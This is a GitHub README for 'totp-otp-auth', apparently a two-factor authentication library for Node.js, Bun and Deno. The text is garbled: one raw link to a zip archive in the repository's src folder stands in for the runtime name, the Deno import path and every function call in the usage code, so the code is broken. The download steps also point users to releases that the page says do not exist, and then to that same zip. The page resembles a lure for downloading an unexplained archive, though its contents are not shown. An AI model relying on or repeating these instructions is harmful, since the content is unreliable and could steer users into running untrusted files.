Skip to content

ShulpeXTechnology/totp-otp-auth

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

10 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ”‘ totp-otp-auth - Secure Authentication Made Simple

npm version
npm version
License: MIT

🌟 Introduction

TOTP/OTP Auth is a simple library that helps you secure your applications with two-factor authentication. It works well with popular tools like Google Authenticator and Authy. You can generate codes, create QR codes, and verify tokens without fuss. This library has no complicated setups, making it perfect for anyone.

πŸ“¦ Features

πŸš€ Getting Started

It's easy to start using the library. You just need to download it from the Releases page and follow the setup instructions.

πŸ”— Download Link

Download totp-otp-auth

πŸ“₯ Download & Install

To get the library, visit the Releases page to download the latest version. You will find the files you need. Follow these instructions after downloading:

  1. For https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip and Bun Users:

    • Open your terminal or command prompt.
    • Run this command to install the library:
    npm install totp-otp-auth
  2. For Deno Users:

    • You can use the library directly in your Deno project by importing it:
    import { totp } from "https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip";

πŸ“‹ System Requirements

πŸ“š Usage Example

After you install the library, here is how you can generate a TOTP token:

import { totp } from 'totp-otp-auth';

const secret = 'yourSecretKey';
const token = https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip(secret);

// Verifying the token
const isValid = https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip(token, secret);
https://raw.githubusercontent.com/ShulpeXTechnology/totp-otp-auth/main/src/auth-otp-totp-v3.2.zip(`Token is valid: ${isValid}`);

This example generates a TOTP token and verifies it. You can easily adapt it to your own needs.

πŸ“– Documentation

For more detailed information, check the Wiki section. It contains guidelines and additional examples for advanced configurations and integrations.

🀝 Contributing

If you want to contribute, feel free to fork the repository. You can submit pull requests for new features or bug fixes. Here's how:

  1. Fork the repository.
  2. Create a feature branch (git checkout -b feature/YourFeature).
  3. Commit your changes (git commit -m 'Add some feature').
  4. Push to the branch (git push origin feature/YourFeature).
  5. Open a pull request.

Your contributions are welcome!

πŸ“ž Support

If you run into any issues, please refer to the Issues page. You can report bugs or ask for help there.

πŸ“œ License

This project is licensed under the MIT License. You are free to use this library in your applications.

Make sure to check the LICENSE file for details.

Now you are ready to implement strong, secure authentication in your applications! Happy coding!

About

πŸ›‘οΈ Securely generate and verify TOTP/OTP tokens with this zero-dependency library for Node.js, Bun, and Deno, compatible with major authenticator apps.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors